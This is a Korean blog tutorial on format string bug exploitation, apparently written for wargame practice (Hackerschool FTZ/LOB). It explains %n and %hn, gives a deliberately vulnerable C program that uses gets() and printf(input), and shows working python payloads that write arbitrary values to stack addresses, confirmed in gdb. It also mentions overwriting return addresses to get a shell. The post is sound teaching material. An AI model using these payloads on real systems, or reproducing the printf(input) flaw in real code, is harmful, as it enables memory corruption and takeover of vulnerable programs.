FSB ( Format String Bug ) 기법 정리 본문

Pwnable/기법 정리

FSB ( Format String Bug ) 기법 정리

disso1p1 2020. 4. 4. 23:49

 

 

 

 

나는 FSB 기법을 FTZ 문제를 풀면서 처음 접하게 되었다.

 

1월 말 쯤, 이해가 잘 되지 않아 유럽 여행을 갔을 때 이동할 때마다 계속 문서를 보고,

아는 선배께도 여쭤보면서 공부했다.

 

 

 

1. Format String 이란 ?

FSB 기법을 설명하기에 앞서, 먼저 'Format String' 이라는 것이 뭔지 알아야한다.

 

편하게 포맷스트링 이라고 한글로 말하겠다.

 

예를 들어,

printf("%d", 1);

이라는 코드가 있으면 여기에서 %d 가 포맷스트링 이다.

 

%d 이외에도 여러가지 포맷스트링 이 존재한다.

 

1_1. 주요 포맷스트링 종류

매개변수 형식
%d 상수(Integer)
%f 실수형 상수(float)
%lf 실수형 상수(double)
%c 문자 값(char)
%s 문자 스트링((const)(unsigned) char *)
%u 10진수 양의 정수
%o 8진수 양의 정수
%x 16진수 양의 정수문자열
%s 문자열
%n *Int(총 바이트 수), 지금까지 출력한 총 바이트 수
%hn %n의 반인 2바이트 단위
%hhn %hn의 반인 1바이트 단위

출처 : https://slidesplayer.org/slide/11219776/

 

1_2. %n, %hn

이런 포맷스트링들 중에 FSB 에 쓰이는 가장 중요한 포맷스트링은 바로 %n 과 %hn 이다.

 

%n 과 %hn 중 뭐를 사용해도 상관 없지만 이 두 포맷스트링의 차이는 나중에 다시 설명하겠다.

 

 

%n 은 이 위치에 인자값( 주소, * )에 지금까지 출력한 총 바이트 수를 int 형식으로 저장한다.

 

#include<stdio.h>

void main()
{
        int a=0;

        printf("a = %d\n", a);
        printf("ha ha ha%n\n", &a);
        printf("a = %d\n", a);
}

 

예제를 하나 만들었다.

 

두번째 printf문에 ha ha ha 를 출력하고 변수 a 의 주소값을 인자로 하는 %n 가 있다.

그리고 전 후의 a 의 값을 확인해준다.

 

ginmoo@disso1p1:~/Desktop/coding/tmp$ ./test
a = 0
ha ha ha
a = 8
ginmoo@disso1p1:~/Desktop/coding/tmp$ 

 

a 의 값이 8 로 바뀐 것을 확인할 수 있다.

 

ha 세개, 6 byte 와 공백 두개, 2 byte 를 포함하여 총 8 byte 이므로 a 에 8 이 들어간 것이다.

 

#include<stdio.h>

void main()
{
        int a=0;

        printf("a = %d", a);
        printf("ha ha ha%n\n", &a);
        printf("a = %d\n", a);
}
~                                                                                       
~                                                                                       
~          
ginmoo@disso1p1:~/Desktop/coding/tmp$ gcc -o test test.c
ginmoo@disso1p1:~/Desktop/coding/tmp$ ./test
a = 0ha ha ha
a = 8
ginmoo@disso1p1:~/Desktop/coding/tmp$ 

 

첫번째 printf문에서 개행문자를 빼었는데도 8 byte 인 것으로 보아

출력된 한 줄의 총 바이트 수가 아니라 printf문 하나에 있는 총 바이트 수를 저장함을 알 수 있다.

 

 

그리고 한 printf문에 %n이 여러개 있어도 상관없이 처음부터 자신이 있는 곳까지 총 바이트 수를 저장한다.

 

%n 은 출력되지 않기 때문에 하나의 바이트 수로 치지 않는 것은 당연하다. ( 난 바보라서 직접 예제 짜면서 해봤음 .. ㅎ )

 

2. Format String Bug 을 사용할 수 있는 취약점

개발자의 실수로 발생한다.

 

예를 들어,

printf("%d", a); 이런 코드를

printf(a); 이런 식으로 포맷스트링을 사용하지 않고, 코드를 짰다면 FSB 기법을 사용할 수 있다.

 

2_1. printf(a);

이 코드는 두가지 역할을 할 수 있다.

 

첫번째는 문자열 변수 a 를 포맷스트링으로 해석할 수 있어 a 에 포맷스트링을 입력하면 포맷스트링으로 해석한다.

두번째는 원래 의도와 같이 문자열 a 를 출력해준다.

 

 

그런데 만약 문자열 변수 a 에 포맷스트링을 입력하면 인자값으로 받는 값은 무엇일까 ?

 

#include<stdio.h>

void main()
{       
        char a[20];
        
        gets(a);
        
        printf(a);
        printf("\n");
}       

 

이 예제는 a 라는 문자열 배열에 표준입력으로 입력받고, a 를 출력해준다.

printf(a); 이라고 썼기 때문에 FSB 취약점이 발생한다.

 

ginmoo@disso1p1:~/Desktop/pwn/practice$ ./FSB_1 
aaaa
aaaa
ginmoo@disso1p1:~/Desktop/pwn/practice$ 

 

aaaa 를 입력하면 aaaa 를 출력해준다.

 

여기서 포맷스트링을 추가 해준다면 ?

 

ginmoo@disso1p1:~/Desktop/pwn/practice$ ./FSB_1 
aaaa %x  
aaaa 20616161
ginmoo@disso1p1:~/Desktop/pwn/practice$

 

%x 를 입력했을 때 4 byte 만큼의 16진수가 출력 되었다.

 

중요한 점은 %x 로 나온 인자값이 우리가 입력한 값이라는 것이다.

0x20 은 스페이스바 이고, 0x61은 소문자 a 를 의미한다.

 

aaaa 다음에 바로 우리가 입력한 값들이 나왔지만, 그 사이에 dummy 값이 존재할 수도 있다. ( gcc 2.96 이상 )

 

3. Format Sring Bug 공격하는 법

printf(a); 와 %n, 입력한 총 바이트 수를 이용할 건데,

일단 예시 익스플로잇을 보자. ( 스택 보호가 걸려 있어서 해커스쿨 LOB 환경에서 했다. )

 

$ (python -c 'print "AAAA" + "\x10\xfb\xff\xbf" + "AAAA" + "\x12\xfb\xff\xbf" + "%17169c" + "%n" + "%17476c" + "%n"') | ./FSB_1 

 

0xbffffb10 부터 4 byte 를 0x87654321 로 덮는 익스플로잇이다.

 

이 익스플로잇만 이해하면 다 한 거라 할 수 있다.

 

일단 처음 AAAA 는 뒤에 있는 %17169c 에 매칭되는 인자값이다.

나머지도 마찬가지로

첫번째 %n → 0xbffffb10

%4444c  AAAA

두번째 %n  0xbffffb12

이렇게 매칭된다.

 

첫번째 %n 은 0xbffffb10 과 매칭되므로 그 앞까지 출력한 총 바이트 수를 0xbffffb10 에 저장한다.

이 자리에는 0x4321 이 들어가야한다.

하지만 앞 \x12\xfb\xff\xbf 까지는 16 byte 밖에 되지 않기 때문에, AAAA 와 매칭되는 %17169c 를 입력해서 0x4321 을 맞춰주는 것이다.

 

0x4321 은 10진수로 17185 이다.

앞에 16 byte 가 있기 때문에 17185-16 인 17169 만큼의 자리가 필요하다. ( %숫자c 를 입력하면 그 숫자만큼 byte 자리를 차지한다. )

 

이러면 어쨌든 첫번째 %n 앞까지 총 바이트 수는 17185, 즉 0x4321 이므로 0xbffffb10 에 0x4321 이 들어갈 것이다.

 

 

마찬가지로 이미 앞에서 0x4321 만큼의 바이트 수가 확보되었기 때문에 나머지를 자리를 확보하기 위해 %17476c ( 0x8765 - 0x4321 )를 입력한다. 그리고 이것은 두번째 AAAA 와 매칭된다.

 

총 34661 byte ( 0x8765 ) 만큼 확보 되었기 때문에 0xbffffb12 에 0x8765 이 들어갈 것이다.

 

 

한번 확인해보자.

 

[gate@localhost tmp]$ (python -c 'print "AAAA" + "\x10\xfb\xff\xbf" + "AAAA" + "\x12\xfb\xff\xbf" + "%17169c" + "%n" + "%17476c" + "%n"') | ./FSB_1
AAAA???AAAA???                                        






[gate@localhost tmp]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./FSB_1'.
Program terminated with signal 11, Segmentation fault.
#0  0x3731256e in ?? ()
(gdb) x/x 0xbffffb10
0xbffffb10:	0x87654321
(gdb) 

 

0xbffffb10 에 0x87654321 이 들어간 것을 확인할 수 있다.

 

 

이렇게 포맷스트링을 이용하여 자신이 원하는 곳에 원하는 값을 넣을 수 있다.

 

보통 return address 를 shellcode 주소로 덮어 쉘을 따는 식으로 하는 게 FSB 문제이다.

 

 

3. dummy 값이 있을 때

dummy 값은 gcc 2.96 이상부터 생긴다.

 

dummy 값이 있으면 %x 를 하나씩 늘리면서 dummy 가 몇 byte 인지 확인하면서 계산하면 된다.

 

 

dummy 가 생기는 해커스쿨 FTZ 환경에서 하겠다.

 

[level1@ftz tmp]$ ./FSB_2
aaaa %x %x %x %x
aaaa 0 42015481 80482da 61616161
[level1@ftz tmp]$

 

포맷스트링 %x 를 네번 썼을 때 aaaa 가 출력된다.

 

dummy 값은 총 12 byte 임을 알 수 있다.

 

[level1@ftz tmp]$ ./FSB_2
AAAABBBBAAAABBBB %x %x %x %x %x %x %x
AAAABBBBAAAABBBB 0 42015481 80482da 41414141 42424242 41414141 42424242
[level1@ftz tmp]$ 

 

4 byte 이상의 값을 입력해도 dummy 값을 12 byte 이다.

AAAABBBBAAAABBBB 를 입력해도 dummy 값은 12 byte 임을 알 수 있다.

 

$ (python -c 'print "AAAA" + "\x10\xfb\xff\xbf" + "AAAA" + "\x12\xfb\xff\xbf" + "%8x%8x%8x" + "%17145c" + "%n" + "%17476c" + "%n"') | ./FSB_2

 

공격코드는 이렇게 된다.

 

dummy 부분을 %8x 로 한 이유는 위에 나온 첫번째 dummy 값 0 과 같이 4 byte 가 한 byte 의 값을 갖고 있으면 1 byte 의 크기로 나오기 때문에 오차 없이 더 편하게 하기 위해서이다.

 

[level1@ftz tmp]$ gdb -q FSB_2 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>:	push   ebp
0x0804835d <main+1>:	mov    ebp,esp
0x0804835f <main+3>:	sub    esp,0x28
0x08048362 <main+6>:	and    esp,0xfffffff0
0x08048365 <main+9>:	mov    eax,0x0
0x0804836a <main+14>:	sub    esp,eax
0x0804836c <main+16>:	sub    esp,0xc
0x0804836f <main+19>:	lea    eax,[ebp-40]
0x08048372 <main+22>:	push   eax
0x08048373 <main+23>:	call   0x804827c <gets>
0x08048378 <main+28>:	add    esp,0x10
0x0804837b <main+31>:	sub    esp,0xc
0x0804837e <main+34>:	lea    eax,[ebp-40]
0x08048381 <main+37>:	push   eax
0x08048382 <main+38>:	call   0x804829c <printf>
0x08048387 <main+43>:	add    esp,0x10
0x0804838a <main+46>:	sub    esp,0xc
0x0804838d <main+49>:	push   0x8048448
0x08048392 <main+54>:	call   0x804829c <printf>
0x08048397 <main+59>:	add    esp,0x10
0x0804839a <main+62>:	leave  
0x0804839b <main+63>:	ret    
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb) 
(gdb) b* main+62   
Breakpoint 1 at 0x804839a
(gdb) r <<< $(python -c 'print "AAAA" + "\x10\xfb\xff\xbf" + "AAAA" + "\x12\xfb\xff\xbf" + "%8x%8x%8x" + "%17145c" + "%n" + "%17476c" + "%n"')
Starting program: /home/level1/tmp/FSB_2 <<< $(python -c 'print "AAAA" + "\x10\xfb\xff\xbf" + "AAAA" + "\x12\xfb\xff\xbf" + "%8x%8x%8x" + "%17145c" + "%n" + "%17476c" + "%n"')
AAAA???AAAA???       042015481 80482da 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  A




Breakpoint 1, 0x0804839a in main ()
(gdb) x/x 0xbffffb10
0xbffffb10:	0x87654321
(gdb) 

 

예상대로 0xbffffb10 이 0x87654321 로 덮혔다.

 

 

 

 

https://disso1p1.tistory.com/33

 

FSB ( Format String Bug ) 기법 정리 2

뇌 FSB ( Format String Bug ) 기법 정리 2 본문 Pwnable/기법 정리 FSB ( Format String Bug ) 기법 정리 2 disso1p1 2020. 5. 21. 01:33 Prev 1 2 3 4 5 ··· 29 Next

disso1p1.tistory.com

 

 

 

 

감사합니다

 

'Pwnable > 기법 정리' 카테고리의 다른 글

FSB ( Format String Bug ) 기법 정리 2  (0) 2020.05.21
FPO ( Frame Pointer Overflow ) 기법 정리  (0) 2020.04.05
Comments